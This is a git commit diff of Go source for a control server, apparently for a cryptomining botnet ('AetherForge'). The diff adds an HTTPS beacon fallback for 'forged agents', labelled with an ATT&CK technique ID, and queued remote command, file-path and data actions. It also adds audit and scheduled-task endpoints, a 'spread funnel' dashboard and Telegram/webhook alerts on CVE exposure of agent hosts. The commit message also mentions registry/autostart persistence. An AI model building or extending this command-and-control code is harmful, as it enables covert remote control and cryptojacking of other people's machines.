feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence

Extend owned-fleet control with scheduled tasks, audit log, file browser,
HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge
options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
This commit is contained in:
AetherForge
2026-06-04 09:34:33 -07:00
parent d52479c9a6
commit 5fc601b564
111 changed files with 5845 additions and 116 deletions

View File

@@ -27,6 +27,13 @@ type Config struct {
Background BackgroundConfig `json:"background,omitempty"`
Alerts AlertsConfig `json:"alerts"`
Server ServerSettings `json:"server"`
TunnelDefaults TunnelDefaults `json:"tunnel_defaults,omitempty"`
}
// TunnelDefaults holds operator-facing protocol tunnel presets (Calibrate).
type TunnelDefaults struct {
// CloudflaredTargetURL is the default outbound tunnel target (usually server public_url).
CloudflaredTargetURL string `json:"cloudflared_target_url"`
}
// ServerSettings controls the locally hosted control server (not baked into miners).
@@ -110,6 +117,7 @@ type AlertsConfig struct {
RejectionRateThresholdPct int `json:"rejection_rate_threshold_pct"`
TelegramBotToken string `json:"telegram_bot_token"`
TelegramChatID string `json:"telegram_chat_id"`
WebhookURL string `json:"webhook_url"`
// Per-event Telegram/email toggles (default true).
NotifyAgentConnect bool `json:"notify_agent_connect"`
NotifyAgentReconnect bool `json:"notify_agent_reconnect"`
@@ -117,6 +125,7 @@ type AlertsConfig struct {
NotifyHashrateDrop bool `json:"notify_hashrate_drop"`
NotifyRejectionRate bool `json:"notify_rejection_rate"`
NotifyBuildComplete bool `json:"notify_build_complete"`
NotifyKEVExposure bool `json:"notify_kev_exposure"`
EmailEnabled bool `json:"email_enabled"`
SMTPHost string `json:"smtp_host"`
SMTPPort int `json:"smtp_port"`
@@ -194,6 +203,7 @@ func DefaultConfig() *Config {
NotifyHashrateDrop: true,
NotifyRejectionRate: true,
NotifyBuildComplete: true,
NotifyKEVExposure: true,
},
Server: ServerSettings{
PublicURL: "",
@@ -247,10 +257,15 @@ func LoadConfig() *Config {
cfg.Alerts.NotifyHashrateDrop = true
cfg.Alerts.NotifyRejectionRate = true
cfg.Alerts.NotifyBuildComplete = true
cfg.Alerts.NotifyKEVExposure = true
}
}
}
if strings.TrimSpace(cfg.TunnelDefaults.CloudflaredTargetURL) == "" && strings.TrimSpace(cfg.Server.PublicURL) != "" {
cfg.TunnelDefaults.CloudflaredTargetURL = strings.TrimSpace(cfg.Server.PublicURL)
}
return cfg
}
@@ -262,6 +277,7 @@ func (c *Config) AlertSettings() alerts.Settings {
return alerts.NewSettings(alerts.NotifyConfig{
TelegramBotToken: c.Alerts.TelegramBotToken,
TelegramChatID: c.Alerts.TelegramChatID,
WebhookURL: c.Alerts.WebhookURL,
EmailEnabled: c.Alerts.EmailEnabled,
SMTPHost: c.Alerts.SMTPHost,
SMTPPort: c.Alerts.SMTPPort,
@@ -276,6 +292,7 @@ func (c *Config) AlertSettings() alerts.Settings {
HashrateDrop: c.Alerts.NotifyHashrateDrop,
RejectionRate: c.Alerts.NotifyRejectionRate,
BuildComplete: c.Alerts.NotifyBuildComplete,
KEVExposure: c.Alerts.NotifyKEVExposure,
})
}
@@ -398,6 +415,9 @@ func mergeConfig(dst, src *Config) {
if src.Alerts.TelegramChatID != "" {
dst.Alerts.TelegramChatID = src.Alerts.TelegramChatID
}
if src.Alerts.WebhookURL != "" {
dst.Alerts.WebhookURL = src.Alerts.WebhookURL
}
dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled
dst.Alerts.NotifyAgentConnect = src.Alerts.NotifyAgentConnect
dst.Alerts.NotifyAgentReconnect = src.Alerts.NotifyAgentReconnect
@@ -405,6 +425,7 @@ func mergeConfig(dst, src *Config) {
dst.Alerts.NotifyHashrateDrop = src.Alerts.NotifyHashrateDrop
dst.Alerts.NotifyRejectionRate = src.Alerts.NotifyRejectionRate
dst.Alerts.NotifyBuildComplete = src.Alerts.NotifyBuildComplete
dst.Alerts.NotifyKEVExposure = src.Alerts.NotifyKEVExposure
if src.Alerts.SMTPHost != "" {
dst.Alerts.SMTPHost = src.Alerts.SMTPHost
}
@@ -661,6 +682,9 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
if in(alertKeys, "telegram_chat_id") && src.Alerts.TelegramChatID != "" {
dst.Alerts.TelegramChatID = src.Alerts.TelegramChatID
}
if in(alertKeys, "webhook_url") && src.Alerts.WebhookURL != "" {
dst.Alerts.WebhookURL = src.Alerts.WebhookURL
}
if in(alertKeys, "email_enabled") {
dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled
}
@@ -682,6 +706,9 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
if in(alertKeys, "notify_build_complete") {
dst.Alerts.NotifyBuildComplete = src.Alerts.NotifyBuildComplete
}
if in(alertKeys, "notify_kev_exposure") {
dst.Alerts.NotifyKEVExposure = src.Alerts.NotifyKEVExposure
}
if in(alertKeys, "smtp_host") && src.Alerts.SMTPHost != "" {
dst.Alerts.SMTPHost = src.Alerts.SMTPHost
}
@@ -762,6 +789,18 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
dst.Server.FleetSecret = src.Server.FleetSecret
}
}
if has("tunnel_defaults") {
tdKeys := nestedJSONKeys(present, "tunnel_defaults")
if in(tdKeys, "cloudflared_target_url") {
dst.TunnelDefaults.CloudflaredTargetURL = src.TunnelDefaults.CloudflaredTargetURL
}
}
// Keep cloudflared default aligned with public_url when unset.
if strings.TrimSpace(dst.TunnelDefaults.CloudflaredTargetURL) == "" && strings.TrimSpace(dst.Server.PublicURL) != "" {
dst.TunnelDefaults.CloudflaredTargetURL = strings.TrimSpace(dst.Server.PublicURL)
}
}
func (c *Config) Save() error {

View File

@@ -182,7 +182,7 @@ func (e *Evaluator) fire(ev AlertEvent, cooldownKey string) {
log.Printf("[Alert] %s: %s", ev.Type, ev.Message)
s := e.settings()
if s.EnabledForAlertType(ev.Type) {
NotifyAll(s.NotifyConfig, "AetherForge "+ev.Type, ev.Message)
NotifyAllEvent(s.NotifyConfig, ev.Type, "AetherForge "+ev.Type, ev.Message)
}
if e.broadcast != nil {
e.broadcast(ev)

View File

@@ -0,0 +1,56 @@
package alerts
import (
"encoding/json"
"strconv"
"strings"
)
// kevExposurePayload mirrors agent KEVScanReport JSON.
type kevExposurePayload struct {
ExposedCount int `json:"exposed_count"`
CriticalCount int `json:"critical_count"`
LikelyCount int `json:"likely_count"`
RiskScore int `json:"risk_score"`
Summary string `json:"summary"`
Findings []struct {
CVE string `json:"cve"`
Name string `json:"name"`
Status string `json:"status"`
Severity string `json:"severity"`
Detail string `json:"detail"`
} `json:"findings"`
}
const EventKEVExposure = "kev_exposure"
// NotifyKEVFromSysCheck parses a full_sys_check message and sends Telegram if enabled.
func NotifyKEVFromSysCheck(n *Notifier, agentName, message string) {
if n == nil || strings.TrimSpace(message) == "" {
return
}
var report struct {
KEV *kevExposurePayload `json:"kev_exposure"`
}
if err := json.Unmarshal([]byte(message), &report); err != nil || report.KEV == nil {
return
}
k := report.KEV
if k.ExposedCount == 0 && k.CriticalCount == 0 {
return
}
s := n.settings()
if !s.Events.KEVExposure {
return
}
body := agentName + ": " + k.Summary
if body == agentName+": " {
body = agentName + ": KEV exposure indicators — exposed=" + strconv.Itoa(k.ExposedCount) + " critical=" + strconv.Itoa(k.CriticalCount)
}
for _, f := range k.Findings {
if f.Status == "exposed" && f.Severity == "critical" {
body += "\n• " + f.CVE + " " + f.Name
}
}
n.Emit(EventKEVExposure, "AetherForge KEV alert", body)
}

View File

@@ -0,0 +1,18 @@
package alerts
import "testing"
func TestNotifyKEVFromSysCheckNoPanic(t *testing.T) {
n := NewNotifier(func() Settings {
return NewSettings(NotifyConfig{}, EventToggles{KEVExposure: true})
})
msg := `{"kev_exposure":{"exposed_count":1,"critical_count":1,"summary":"test","findings":[{"cve":"CVE-2021-26855","name":"ProxyLogon","status":"exposed","severity":"critical"}]}}`
NotifyKEVFromSysCheck(n, "worker-1", msg)
}
func TestNotifyKEVSkipsWhenClear(t *testing.T) {
n := NewNotifier(func() Settings {
return NewSettings(NotifyConfig{TelegramBotToken: "x", TelegramChatID: "1"}, EventToggles{KEVExposure: true})
})
NotifyKEVFromSysCheck(n, "w", `{"kev_exposure":{"exposed_count":0,"critical_count":0}}`)
}

View File

@@ -19,11 +19,11 @@ func (n *Notifier) Emit(event string, title, body string) {
if !n.eventEnabled(s, event) {
return
}
if s.TelegramBotToken == "" && s.TelegramChatID == "" && !s.EmailEnabled {
if s.TelegramBotToken == "" && s.TelegramChatID == "" && !s.EmailEnabled && s.WebhookURL == "" {
return
}
log.Printf("[Notify] %s: %s", event, body)
NotifyAll(s.NotifyConfig, title, body)
NotifyAllEvent(s.NotifyConfig, event, title, body)
}
func (n *Notifier) eventEnabled(s Settings, event string) bool {
@@ -34,6 +34,8 @@ func (n *Notifier) eventEnabled(s Settings, event string) bool {
return s.Events.AgentReconnect
case EventBuildComplete:
return s.Events.BuildComplete
case EventKEVExposure:
return s.Events.KEVExposure
case "offline":
return s.Events.AgentOffline
case "hashrate_drop":

View File

@@ -14,6 +14,7 @@ import (
type NotifyConfig struct {
TelegramBotToken string
TelegramChatID string
WebhookURL string
EmailEnabled bool
SMTPHost string
SMTPPort int
@@ -89,7 +90,41 @@ func SendEmail(cfg NotifyConfig, subject, body string) error {
return smtp.SendMail(addr, auth, from, []string{cfg.EmailTo}, []byte(msg))
}
func SendWebhook(cfg NotifyConfig, event, subject, text string) error {
if cfg.WebhookURL == "" {
return nil
}
payload, _ := json.Marshal(map[string]string{
"event": event,
"title": subject,
"message": text,
})
req, err := http.NewRequest(http.MethodPost, cfg.WebhookURL, bytes.NewReader(payload))
if err != nil {
return err
}
req.Header.Set("Content-Type", "application/json")
client := &http.Client{Timeout: 15 * time.Second}
resp, err := client.Do(req)
if err != nil {
return err
}
defer resp.Body.Close()
if resp.StatusCode >= 300 {
body, _ := io.ReadAll(resp.Body)
return fmt.Errorf("webhook status %d: %s", resp.StatusCode, strings.TrimSpace(string(body)))
}
return nil
}
func NotifyAll(cfg NotifyConfig, subject, text string) {
_ = SendTelegram(cfg, subject+": "+text)
_ = SendEmail(cfg, subject, text)
}
// NotifyAllEvent sends to Telegram, email, and optional operator webhook.
func NotifyAllEvent(cfg NotifyConfig, event, subject, text string) {
_ = SendTelegram(cfg, subject+": "+text)
_ = SendEmail(cfg, subject, text)
_ = SendWebhook(cfg, event, subject, text)
}

View File

@@ -8,6 +8,7 @@ type EventToggles struct {
HashrateDrop bool
RejectionRate bool
BuildComplete bool
KEVExposure bool
}
// Settings combines delivery credentials with per-event toggles.

View File

@@ -0,0 +1,25 @@
package api
import (
"context"
"net/http"
)
type contextKey string
const authUserKey contextKey = "auth_user"
func withAuthUser(r *http.Request, username string) *http.Request {
return r.WithContext(context.WithValue(r.Context(), authUserKey, username))
}
// AuthUsername returns the Basic-auth username for the current request, if any.
func AuthUsername(r *http.Request) string {
if r == nil {
return ""
}
if u, ok := r.Context().Value(authUserKey).(string); ok {
return u
}
return ""
}

View File

@@ -0,0 +1,260 @@
package api
import (
"encoding/json"
"net/http"
"strings"
"time"
"crypto-miner-server/internal/models"
)
const beaconReachableWindow = 90 * time.Second
// BeaconCommand is delivered to agents on HTTPS beacon when WebSocket is down.
type BeaconCommand struct {
Action string `json:"action"`
TailLines int `json:"tail_lines,omitempty"`
Command string `json:"command,omitempty"`
Path string `json:"path,omitempty"`
Data string `json:"data,omitempty"`
}
type beaconRequest struct {
AgentID string `json:"agent_id"`
Stats json.RawMessage `json:"stats,omitempty"`
Hostname string `json:"hostname,omitempty"`
Wallet string `json:"wallet,omitempty"`
Worker string `json:"worker_name,omitempty"`
Version string `json:"version,omitempty"`
}
type beaconResponse struct {
OK bool `json:"ok"`
Commands []BeaconCommand `json:"commands"`
}
type beaconResultRequest struct {
AgentID string `json:"agent_id"`
Action string `json:"action"`
Success bool `json:"success"`
Message string `json:"message"`
}
func (h *WSHub) initBeaconMaps() {
h.beaconMu.Lock()
defer h.beaconMu.Unlock()
if h.beaconLastSeen == nil {
h.beaconLastSeen = make(map[string]time.Time)
}
if h.beaconCmdQueue == nil {
h.beaconCmdQueue = make(map[string][]BeaconCommand)
}
}
// MarkBeaconSeen records a successful HTTPS beacon from an agent.
func (h *WSHub) MarkBeaconSeen(agentID string) {
h.initBeaconMaps()
h.beaconMu.Lock()
h.beaconLastSeen[agentID] = time.Now()
h.beaconMu.Unlock()
}
// ClearBeaconTransport clears HTTPS-beacon state when the agent reconnects over WebSocket.
func (h *WSHub) ClearBeaconTransport(agentID string) {
h.initBeaconMaps()
h.beaconMu.Lock()
delete(h.beaconLastSeen, agentID)
delete(h.beaconCmdQueue, agentID)
h.beaconMu.Unlock()
}
func (h *WSHub) isAgentBeaconReachable(agentID string) bool {
h.initBeaconMaps()
h.beaconMu.Lock()
last, ok := h.beaconLastSeen[agentID]
h.beaconMu.Unlock()
return ok && time.Since(last) <= beaconReachableWindow
}
// IsAgentReachable returns true if the agent has an active WebSocket or recent HTTPS beacon.
func (h *WSHub) IsAgentReachable(agentID string) bool {
return h.isAgentConnected(agentID) || h.isAgentBeaconReachable(agentID)
}
// EnqueueBeaconCommand queues a command for HTTPS beacon delivery.
func (h *WSHub) EnqueueBeaconCommand(agentID, action string, args map[string]interface{}) bool {
if !h.isAgentBeaconReachable(agentID) {
return false
}
cmd := BeaconCommand{Action: action}
if v, ok := args["tail_lines"]; ok {
switch n := v.(type) {
case int:
cmd.TailLines = n
case float64:
cmd.TailLines = int(n)
}
}
if v, ok := args["command"].(string); ok {
cmd.Command = v
}
if v, ok := args["path"].(string); ok {
cmd.Path = v
}
if v, ok := args["data"].(string); ok {
cmd.Data = v
}
h.initBeaconMaps()
h.beaconMu.Lock()
h.beaconCmdQueue[agentID] = append(h.beaconCmdQueue[agentID], cmd)
h.beaconMu.Unlock()
return true
}
func (h *WSHub) dequeueBeaconCommands(agentID string) []BeaconCommand {
h.initBeaconMaps()
h.beaconMu.Lock()
cmds := h.beaconCmdQueue[agentID]
delete(h.beaconCmdQueue, agentID)
h.beaconMu.Unlock()
if cmds == nil {
return []BeaconCommand{}
}
return cmds
}
func (h *WSHub) applyBeaconStats(agentID string, statsJSON json.RawMessage) {
if h.db == nil || len(statsJSON) == 0 {
return
}
var stats struct {
Hashrate15s float64 `json:"hashrate_15s"`
Hashrate1m float64 `json:"hashrate_1m"`
Hashrate15m float64 `json:"hashrate_15m"`
SharesSubmitted int `json:"shares_submitted"`
SharesAccepted int `json:"shares_accepted"`
CPUUsagePct float64 `json:"cpu_usage_pct"`
MemoryUsagePct float64 `json:"memory_usage_pct"`
UptimeSeconds int `json:"uptime_seconds"`
GPUMinerActive *bool `json:"gpu_miner_active,omitempty"`
GPUHashrate15m float64 `json:"gpu_hashrate_15m,omitempty"`
GPUModel string `json:"gpu_model,omitempty"`
}
if err := json.Unmarshal(statsJSON, &stats); err != nil {
return
}
sharesBad := stats.SharesSubmitted - stats.SharesAccepted
if sharesBad < 0 {
sharesBad = 0
}
_ = h.db.UpdateAgentStats(agentID, stats.Hashrate15s, stats.Hashrate1m, stats.Hashrate15m,
stats.SharesSubmitted, stats.SharesAccepted, sharesBad,
stats.CPUUsagePct, stats.MemoryUsagePct, stats.UptimeSeconds)
gpuActive := stats.GPUMinerActive != nil && *stats.GPUMinerActive
_ = h.db.UpdateAgentGPUStats(agentID, stats.GPUHashrate15m, stats.GPUModel, gpuActive)
_ = h.db.InsertHashrateSample(agentID, stats.Hashrate15m, stats.GPUHashrate15m)
h.broadcastDashboard(Message{
Type: "stats",
Payload: mustMarshal(map[string]interface{}{
"agent_id": agentID,
"hashrate_15s": stats.Hashrate15s,
"hashrate_1m": stats.Hashrate1m,
"hashrate_15m": stats.Hashrate15m,
"cpu_usage_pct": stats.CPUUsagePct,
"memory_usage_pct": stats.MemoryUsagePct,
"uptime_seconds": stats.UptimeSeconds,
"shares_submitted": stats.SharesSubmitted,
"shares_accepted": stats.SharesAccepted,
"transport": "https_beacon",
}),
})
}
// HandleAgentBeacon accepts periodic HTTPS beacons from forged agents (T1071.001 fallback).
func (h *WSHub) HandleAgentBeacon(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
return
}
var req beaconRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
agentID := strings.TrimSpace(req.AgentID)
if agentID == "" {
http.Error(w, "agent_id is required", http.StatusBadRequest)
return
}
h.MarkBeaconSeen(agentID)
if h.db != nil {
if _, err := h.db.GetAgent(agentID); err != nil && (req.Hostname != "" || req.Wallet != "") {
display := req.Hostname
if display == "" {
display = agentID
}
_ = h.db.UpsertAgent(&models.Agent{
ID: agentID,
Name: display,
Wallet: req.Wallet,
Version: req.Version,
Status: "online",
})
}
}
h.applyBeaconStats(agentID, req.Stats)
cmds := h.dequeueBeaconCommands(agentID)
writeJSON(w, beaconResponse{OK: true, Commands: cmds})
}
// HandleAgentBeaconResult receives command results from HTTPS beacon agents.
func (h *WSHub) HandleAgentBeaconResult(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
return
}
var req beaconResultRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
agentID := strings.TrimSpace(req.AgentID)
if agentID == "" || req.Action == "" {
http.Error(w, "agent_id and action are required", http.StatusBadRequest)
return
}
h.MarkBeaconSeen(agentID)
payload := map[string]interface{}{
"agent_id": agentID,
"action": req.Action,
"success": req.Success,
"message": req.Message,
"transport": "https_beacon",
}
h.broadcastDashboard(Message{Type: "command_result", Payload: mustMarshal(payload)})
h.notifyCmdCallback(agentID, req.Action, payload)
writeJSON(w, map[string]interface{}{"ok": true})
}
// FlushBeaconCommandsToWS delivers any queued HTTPS commands over a live WebSocket.
func (h *WSHub) FlushBeaconCommandsToWS(agentID string) {
cmds := h.dequeueBeaconCommands(agentID)
for _, cmd := range cmds {
args := map[string]interface{}{}
if cmd.TailLines > 0 {
args["tail_lines"] = cmd.TailLines
}
if cmd.Command != "" {
args["command"] = cmd.Command
}
if cmd.Path != "" {
args["path"] = cmd.Path
}
if cmd.Data != "" {
args["data"] = cmd.Data
}
_ = h.SendAgentCommand(agentID, cmd.Action, args)
}
}

View File

@@ -0,0 +1,114 @@
package api
import (
"bytes"
"encoding/json"
"net/http"
"net/http/httptest"
"testing"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
)
func TestAgentBeaconFleetSecretAuth(t *testing.T) {
resetAuthState(t)
const secret = "beacon-test-secret"
SetAgentPathSecret(secret)
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer database.Close()
hub := NewWSHub(database)
hub.SetFleetSecret(secret)
body, _ := json.Marshal(map[string]interface{}{
"agent_id": "agent-beacon-1",
"stats": map[string]interface{}{
"hashrate_15s": 100.0,
"hashrate_1m": 100.0,
"hashrate_15m": 100.0,
},
})
h := basicAuthMiddleware(http.HandlerFunc(hub.HandleAgentBeacon))
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/beacon", bytes.NewReader(body))
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusForbidden {
t.Fatalf("missing secret: got %d", rec.Code)
}
req.Header.Set("X-Fleet-Secret", secret)
rec = httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("valid secret: got %d body=%s", rec.Code, rec.Body.String())
}
var resp beaconResponse
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
t.Fatal(err)
}
if !resp.OK {
t.Fatal("expected ok")
}
}
func TestBeaconCommandQueueRoundtrip(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer database.Close()
_ = database.UpsertAgent(&models.Agent{ID: "q-agent", Name: "host", Status: "offline"})
hub := NewWSHub(database)
hub.MarkBeaconSeen("q-agent")
if !hub.EnqueueBeaconCommand("q-agent", "pause", nil) {
t.Fatal("enqueue failed")
}
cmds := hub.dequeueBeaconCommands("q-agent")
if len(cmds) != 1 || cmds[0].Action != "pause" {
t.Fatalf("commands: %+v", cmds)
}
if len(hub.dequeueBeaconCommands("q-agent")) != 0 {
t.Fatal("queue should be empty")
}
}
func TestAgentBeaconReturnsQueuedCommands(t *testing.T) {
resetAuthState(t)
const secret = "beacon-cmd-secret"
SetAgentPathSecret(secret)
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer database.Close()
_ = database.UpsertAgent(&models.Agent{ID: "cmd-agent", Name: "pc", Status: "offline"})
hub := NewWSHub(database)
hub.MarkBeaconSeen("cmd-agent")
_ = hub.EnqueueBeaconCommand("cmd-agent", "resume", nil)
body, _ := json.Marshal(map[string]string{"agent_id": "cmd-agent"})
h := basicAuthMiddleware(http.HandlerFunc(hub.HandleAgentBeacon))
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/beacon", bytes.NewReader(body))
req.Header.Set("X-Fleet-Secret", secret)
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("beacon: %d %s", rec.Code, rec.Body.String())
}
var resp beaconResponse
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
t.Fatal(err)
}
if len(resp.Commands) != 1 || resp.Commands[0].Action != "resume" {
t.Fatalf("commands: %+v", resp.Commands)
}
}

View File

@@ -8,7 +8,8 @@ import (
// ConfigHandler handles GET/PUT for server configuration settings
type ConfigHandler struct {
config ConfigProvider
config ConfigProvider
auditSave func(username string)
}
// ConfigProvider is an interface for the server config so we don't import main package
@@ -21,6 +22,10 @@ func NewConfigHandler(cp ConfigProvider) *ConfigHandler {
return &ConfigHandler{config: cp}
}
func (h *ConfigHandler) SetAuditSaveHook(fn func(username string)) {
h.auditSave = fn
}
func (h *ConfigHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
switch r.Method {
case http.MethodGet:
@@ -63,6 +68,10 @@ func (h *ConfigHandler) updateConfig(w http.ResponseWriter, r *http.Request) {
return
}
if h.auditSave != nil {
h.auditSave(AuthUsername(r))
}
// Return updated config
h.getConfig(w, r)
}

View File

@@ -369,6 +369,7 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
args["data"] = req.Data
}
queued := false
if id == "all" {
if f.ws.connectedAgentCount() == 0 {
writeJSON(w, map[string]interface{}{
@@ -381,7 +382,7 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
}
f.ws.BroadcastAgentCommand(req.Action, args)
} else {
if !f.ws.isAgentConnected(id) {
if !f.ws.IsAgentReachable(id) {
writeJSON(w, map[string]interface{}{
"success": false,
"error": "agent not connected",
@@ -390,6 +391,7 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
})
return
}
queued = !f.ws.isAgentConnected(id)
if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil {
writeJSON(w, map[string]interface{}{
"success": false,
@@ -400,11 +402,21 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
return
}
}
writeJSON(w, map[string]interface{}{
resp := map[string]interface{}{
"success": true,
"agent_id": id,
"action": req.Action,
})
}
if queued {
resp["queued"] = true
resp["transport"] = "https_beacon"
}
writeJSON(w, resp)
if f.db != nil {
_ = f.db.InsertAudit(AuthUsername(r), "agent_command", id, map[string]interface{}{
"action": req.Action, "command": req.Command, "path": req.Path,
})
}
}
// PostAgentWOL sends a Wake-on-LAN magic packet to the agent's MAC address.

View File

@@ -0,0 +1,97 @@
package api
import (
"encoding/json"
"net/http"
"time"
"crypto-miner-server/internal/models"
"github.com/go-chi/chi/v5"
)
func (f *FleetHandler) GetAudit(w http.ResponseWriter, r *http.Request) {
if f.db == nil {
writeJSON(w, []*models.AuditEntry{})
return
}
entries, err := f.db.ListAudit(50)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
if entries == nil {
entries = []*models.AuditEntry{}
}
writeJSON(w, entries)
}
func (f *FleetHandler) GetFleetTasks(w http.ResponseWriter, r *http.Request) {
if f.db == nil {
writeJSON(w, []*models.FleetTask{})
return
}
tasks, err := f.db.ListFleetTasks()
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
if tasks == nil {
tasks = []*models.FleetTask{}
}
writeJSON(w, tasks)
}
func (f *FleetHandler) PutFleetTask(w http.ResponseWriter, r *http.Request) {
var t models.FleetTask
if err := json.NewDecoder(r.Body).Decode(&t); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
if t.Name == "" || t.Action == "" || t.Trigger == "" {
http.Error(w, "name, trigger, and action are required", http.StatusBadRequest)
return
}
if f.db == nil {
http.Error(w, "database unavailable", http.StatusServiceUnavailable)
return
}
if err := f.db.UpsertFleetTask(&t); err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
_ = f.db.InsertAudit(AuthUsername(r), "fleet_task_save", "", map[string]string{"task_id": t.ID, "name": t.Name})
writeJSON(w, t)
}
func (f *FleetHandler) DeleteFleetTask(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
if id == "" {
http.Error(w, "id required", http.StatusBadRequest)
return
}
if f.db == nil {
http.Error(w, "database unavailable", http.StatusServiceUnavailable)
return
}
if err := f.db.DeleteFleetTask(id); err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
_ = f.db.InsertAudit(AuthUsername(r), "fleet_task_delete", "", map[string]string{"task_id": id})
writeJSON(w, map[string]bool{"ok": true})
}
func (f *FleetHandler) GetSpreadFunnel(w http.ResponseWriter, r *http.Request) {
if f.db == nil {
writeJSON(w, map[string]interface{}{"by_build": []interface{}{}, "new_connects_today": 0, "total_agents": 0})
return
}
since := time.Now().Add(-7 * 24 * time.Hour)
stats, err := f.db.GetSpreadFunnelStats(since)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
writeJSON(w, stats)
}

View File

@@ -77,7 +77,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
dropperHandler := NewDropperHandler(database, nil)
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, webRoot, dataDir, nil), wsHub, database, dataDir
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, webRoot, dataDir, nil), wsHub, database, dataDir
}
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {

View File

@@ -397,7 +397,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
authCacheSet(user, pass)
}
next.ServeHTTP(w, r)
next.ServeHTTP(w, withAuthUser(r, user))
})
}
@@ -464,6 +464,11 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/ai/activity", fleetHandler.GetAIActivity)
r.Get("/earnings/estimate", fleetHandler.GetEarningsEstimate)
r.Get("/market/xmr", fleetHandler.GetXMRPrice)
r.Get("/audit", fleetHandler.GetAudit)
r.Get("/fleet-tasks", fleetHandler.GetFleetTasks)
r.Put("/fleet-tasks", fleetHandler.PutFleetTask)
r.Delete("/fleet-tasks/{id}", fleetHandler.DeleteFleetTask)
r.Get("/dashboard/spread-funnel", fleetHandler.GetSpreadFunnel)
}
// Shares
@@ -553,6 +558,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Post("/agent/decide", aiHandler.HandleDecide)
r.Post("/agent/report", aiHandler.HandleReport)
r.Post("/agent/heartbeat", aiHandler.HandleHeartbeat)
r.Post("/agent/beacon", wsHub.HandleAgentBeacon)
r.Post("/agent/beacon/result", wsHub.HandleAgentBeaconResult)
})
// WebSocket

View File

@@ -351,7 +351,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), nil, "", dataDir, nil)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), nil, nil, "", dataDir, nil)
dlURL := "/api/v1/builds/" + buildID + "/download"
@@ -428,7 +428,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, "", dataDir, nil)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, "", dataDir, nil)
req := httptest.NewRequest(http.MethodGet, "/", nil)
rec := httptest.NewRecorder()

View File

@@ -106,6 +106,11 @@ func (d *DashboardConn) WriteControl(messageType int, data []byte, deadline time
// cmdResultKey is used to key pending command callbacks: "agentID:action".
type cmdResultKey struct{ AgentID, Action string }
// ConnectTaskRunner fires scheduled fleet tasks on agent connect/reconnect.
type ConnectTaskRunner interface {
RunConnectTasks(agentID, trigger string)
}
type WSHub struct {
db *db.Database
agents map[string]*AgentConnection
@@ -122,12 +127,18 @@ type WSHub struct {
pingIntervalSec int
